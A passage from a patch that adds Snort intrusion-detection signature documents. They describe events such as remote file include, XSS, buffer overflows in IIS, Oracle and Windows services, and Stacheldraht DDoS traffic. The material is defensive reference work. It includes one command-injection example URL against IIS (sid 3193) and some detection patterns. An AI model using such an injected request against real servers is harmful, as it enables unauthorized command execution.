+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000836.txt
+++ snort-2.8.5.2/doc/signatures/100000836.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000836
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MiniBB" application running on a webserver. Access to the file "com_minibb.php" using a remote file being passed as the "absolute_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "absolute_path" parameter in the "com_minibb.php" script used by the "MiniBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MiniBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3193.txt
+++ snort-2.8.5.2/doc/signatures/3193.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+3193
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Internet Information Server.
+
+--
+Impact:
+Serious. Code execution leading to unauthorized administrative access
+on the target host.
+
+--
+Detailed Information:
+Microsoft IIS contains a programming error that may allow an attacker to
+execute commands of their choosing on a vulnerable system. If a valid
+request for an executable file on the system is made, the server will
+honor the request and execute any commands sent to the system. It may be
+possible for an attacker to execute system commands sent to cmd.exe or
+an executable batch file (.bat) for example.
+
+--
+Affected Systems:
+	Microsoft IIS 4.0
+	Microsoft IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can send a request to an executable file on the system and
+supply command arguments of their choice to the file. The server will
+honor the request and execute the attackers commands.
+
+For example, http://www.target.com/scripts/cmd.bat"+&+somecommand
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2430.txt
+++ snort-2.8.5.2/doc/signatures/2430.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2430
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3389.txt
+++ snort-2.8.5.2/doc/signatures/3389.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3389
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2756.txt
+++ snort-2.8.5.2/doc/signatures/2756.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2756
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_update_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1993.txt
+++ snort-2.8.5.2/doc/signatures/1993.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+1993
+
+--
+Summary:
+This event is generated when a remote attacker sends a LOGIN command
+with a suspiciously long argument to an internal IMAP server, indicating
+an attempt to exploit a buffer overflow vulnerability in Carnegie Mellon
+University Cyrus IMAP Server. This may also affect other IMAP server
+implementations.
+
+--
+Impact:
+Possible remote execution of arbitrary code, leading to remote root compromise.
+
+--
+Detailed Information:
+Carnegie Mellon University Cyrus IMAP Server 2.1.10 and earlier contains
+a buffer overflow vulnerability where a malformed, overly long argument
+to a LOGIN command sent to a vulnerable IMAP server can cause a buffer
+overflow condition. This can allow the attacker to overwrite data in
+memory, leading to the execution of arbitrary code on the server with
+the security privileges of the IMAP server process.    
+
+--
+Affected Systems:
+	CMU Cyrus IMAP Server version 2.1.10 or earlier.
+
+--
+Attack Scenarios:
+An attacker sends a LOGIN command with an overly long, specially crafted
+argument to a vulnerable IMAP server, causing a buffer overflow
+condition. The attacker can then overwrite specific words in memory to
+execute arbitrary code on the server with the security privileges of the
+IMAP server process.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1760.txt
+++ snort-2.8.5.2/doc/signatures/1760.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1760
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+IDS system on the protected network is detected.
+
+--
+Impact:
+These tools may be used to compromise data on the network or may
+indicate mis-use of other IDS systems.
+
+--
+Detailed Information:
+This event indicates the use of an IDS tool. The source of the event
+should be investigated carefully. These tools may be used to gather data
+present in traffic on the protected network.
+
+--
+Affected Systems:
+	All networks.
+
+--
+Attack Scenarios:
+An unathorized user could use an IDS to gather data and observe traffic
+present on the network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/426.txt
+++ snort-2.8.5.2/doc/signatures/426.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+426
+
+--
+
+Summary:
+This event is generated when a router generates and ICMP Parameter Problem Required Option Missing datagram.
+
+--
+
+Impact:
+This could be an indication of a protocol error by a previous hop router.  Normally this datagram would only be generated when the IP datagram is truncated or damaged before it reaches its final destination.
+
+--
+
+Detailed Information:
+A router generates a Parameter Problem message for any error not specifically covered by another ICMP message.  An ICMP Parameter Problem Required Option Missing datagram indicates that the IP datagram is invalid or contains invalid IP options.  This could be an indication of routing problems on the network, or malfunctioning routing hardware.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 12 Code 1 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for configuration errors or nefarious activity.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2486.txt
+++ snort-2.8.5.2/doc/signatures/2486.txt
@@ -0,0 +1,63 @@
+Rule:
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"DOS ISAKMP invalid
+identification payload attempt";  content:"|05|"; offset:16; depth:1;
+byte_test:2,>,4,30; byte_test:2,<,8,30; reference:bugtraq,10004;
+classtype:attempted-dos; sid:2486; rev:1;)
+
+--
+Sid:
+2486
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a denial of service
+(DoS) associated with tcpdump decoding of an isakmp payload.
+
+--
+Impact:
+A successful attack may cause a DoS of the host running tcpdump.
+
+--
+Detailed Information:
+The tcpdump decode of an isakmp packet with an identification payload may be
+susceptible to a DoS attack.  This occurs because the code does not properly
+convert the payload length field from network-to-host byte order. This may
+cause tcpdump to crash when specific values are supplied to the payload length.
+
+--
+Affected Systems:
+Hosts running tcpdump versions 3.8.1 and earlier
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed isakmp packet that may cause
+a host running tcpdump and analyzing the packet to crash.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10004
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000794.txt
+++ snort-2.8.5.2/doc/signatures/100000794.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000794
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "line2" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000557.txt
+++ snort-2.8.5.2/doc/signatures/100000557.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000557
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VebiMiau" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "f_user" parameter in the "index.php" script 
+used by the "VebiMiau" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VebiMiau
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2256.txt
+++ snort-2.8.5.2/doc/signatures/2256.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2256
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability associated with the Remote Procedure Call (RPC) sadmind.
+
+--
+Impact:
+Remote root access.  This attack may permit execution of arbitrary commands with the privileges of root.
+
+--
+Detailed Information:
+The sadmind RPC service is used by Solaris Solstice AdminSuite 
+applications to perform remote distributed system administration tasks 
+such as adding new users.  
+
+This event indicates that an RPC query for the sadmind service has been
+made with the credentials of the root user supplied.
+
+This may permit execution of arbitrary commands with the privileges of root.
+
+--
+Affected Systems:
+All systems using sadmind
+
+--
+Attack Scenarios:
+Exploit code can be used to attack a vulnerable sadmind to obtain root access to the remote host.
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-25.txt
+++ snort-2.8.5.2/doc/signatures/122-25.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-25
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a icmp
+sweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2513.txt
+++ snort-2.8.5.2/doc/signatures/2513.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2513
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/229.txt
+++ snort-2.8.5.2/doc/signatures/229.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+229
+
+--
+Summary:
+This event is generated when a Stacheldraht agent attempts to contact a known handler.
+
+--
+Impact:
+This indicates that a Stacheldraht agent may exist on the source host and a handler may exist on the destination host.
+
+--
+Detailed Information:
+The Stacheldraht DDoS uses a tiered structure of compromised hosts to coordinate and participate in a denial of service attack.  
+
+There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack.  Once a host becomes a Stacheldraht agent, it will attempt to contact a list of known handlers using an ICMP echo reply with an ICMP identification number of 666 and a string of "skillz" in the payload. 
+
+--
+Affected Systems:
+Any Stacheldraht compromised host.
+
+--
+Attack Scenarios:
+A compromised host that has become a Stacheldraht agent will attempt an initial communication with all known handlers.
+
+--
+Ease of Attack:
+Simple. Stacheldraht code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS190
+
+--
--- snort-2.8.5.2.orig/doc/signatures/437.txt
+++ snort-2.8.5.2/doc/signatures/437.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+437
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Redirect for the Type of Service and Network datagram.
+
+--
+
+Impact:
+Redirect messages are normally an indication that a shorter route to a particular destination exists.  
+
+--
+
+Detailed Information:
+ICMP Redirect messages are generated by gateway devices when a shorter route to the destination exists.  When a gateway device receives an Internet datagram from a host on the same network a check is performed to determine the address of the next hop (gateway) in the route to the datagrams destination.  The datagram is then forward to the next hop on the route.  If this gateway device is also on the same network, the gateway device generates an ICMP Redirect message and sends it back to the host that originally generated the traffic.  The ICMP redirect message informs the original host that a shorter route exists and any additional traffic should be forwarded directly to the closer gateway device.
+
+--
+
+Attack Scenarios:
+Attackers on the local subnet could potentially use ICMP Redirect messages to force hosts to use compromised gateway devices.  
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+ICMP Redirect datagrams are legitimate Internet traffic if a shorter route to a destination actually exists.  
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 5 datagrams
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC792
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000663.txt
+++ snort-2.8.5.2/doc/signatures/100000663.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000663
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "icq" parameter in the "edit.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000483.txt
+++ snort-2.8.5.2/doc/signatures/100000483.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000483
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Wheatblog" application running on a webserver. 
+Access to the file "view_links.php" using a remote file being passed as the 
+"wb_inc_dir" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "wb_inc_dir" parameter in the "view_links.php" script 
+used by the "Wheatblog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Wheatblog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2641.txt
+++ snort-2.8.5.2/doc/signatures/2641.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2641
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_site_instantiate" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "refresh_template_name"
+variable to cause the overflow. The result could permit the attacker
+to gain escalated privileges and run code of their choosing. This
+attack requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck629.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000363.txt
+++ snort-2.8.5.2/doc/signatures/100000363.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000363
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Fastpublish CMS" application running on a webserver. Access to the file "search.php" using a remote file being passed as the "config[fsBase]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "config[fsBase]" parameter in the "search.php" script used by the "Fastpublish CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
